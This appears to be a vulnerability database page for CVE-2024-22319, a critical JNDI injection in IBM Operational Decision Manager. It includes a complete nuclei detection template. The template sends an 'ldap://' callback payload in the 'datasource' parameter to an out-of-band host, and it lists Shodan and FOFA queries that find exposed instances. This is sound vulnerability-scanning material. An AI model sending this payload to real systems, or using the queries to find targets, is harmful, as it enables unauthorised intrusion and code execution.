HexBrain

Browse / CVEs / CVE-2024-22319

CVE-2024-22319· ibm / operational decision manager· CWE-74

IBM Operational Decision Manager - JNDI Injection

criticalseverity
9.8CVSS score
76.4%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

IBM Operational Decision Manager 8.10.3, 8.10.4, 8.10.5.1, 8.11, 8.11.0.1, and 8.12.0.1 is susceptible to remote code execution attack via JNDI injection when passing an unchecked argument to a certain API. IBM X-Force ID: 279145.

Impact

Unauthenticated attackers can execute arbitrary code via JNDI injection, potentially compromising the entire IBM ODM system.

Fix

Update IBM Operational Decision Manager to a version that addresses CVE-2024-22319.

How to confirm it

Send: GET {{BaseURL}}/decisioncenter-api/v1/about?datasource=ldap://{{interactsh-url}}
Positive when: contains(interactsh_protocol, "dns") and contains(header, "application/json") and contains(body, "patchLevel\":") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-22319 -u <target>

The full check
id: CVE-2024-22319

info:
  name: IBM Operational Decision Manager - JNDI Injection
  author: DhiyaneshDK
  severity: critical
  description: |
    IBM Operational Decision Manager 8.10.3, 8.10.4, 8.10.5.1, 8.11, 8.11.0.1, and 8.12.0.1 is susceptible to remote code execution attack via JNDI injection when passing an unchecked argument to a certain API.  IBM X-Force ID:  279145.
  impact: |
    Unauthenticated attackers can execute arbitrary code via JNDI injection, potentially compromising the entire IBM ODM system.
  remediation: |
    Update IBM Operational Decision Manager to a version that addresses CVE-2024-22319.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-22319
    cwe-id: CWE-74
    epss-score: 0.764
    epss-percentile: 0.99543
    cpe: cpe:2.3:a:ibm:operational_decision_manager:8.10.3:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ibm
    product: operational_decision_manager
    shodan-query:
      - html:"IBM ODM"
      - http.html:"ibm odm"
    fofa-query:
      - title="IBM ODM"
      - title="ibm odm"
      - body="ibm odm"
  tags: cve,cve2024,ibm,odm,decision-manager,jndi,jsf,rce,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/decisioncenter-api/v1/about?datasource=ldap://{{interactsh-url}}"

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, "dns")
          - 'contains(header, "application/json")'
          - 'contains(body, "patchLevel\":")'
          - 'status_code == 200'
        condition: and

Use this check only on systems you are authorised to test. Where the data comes from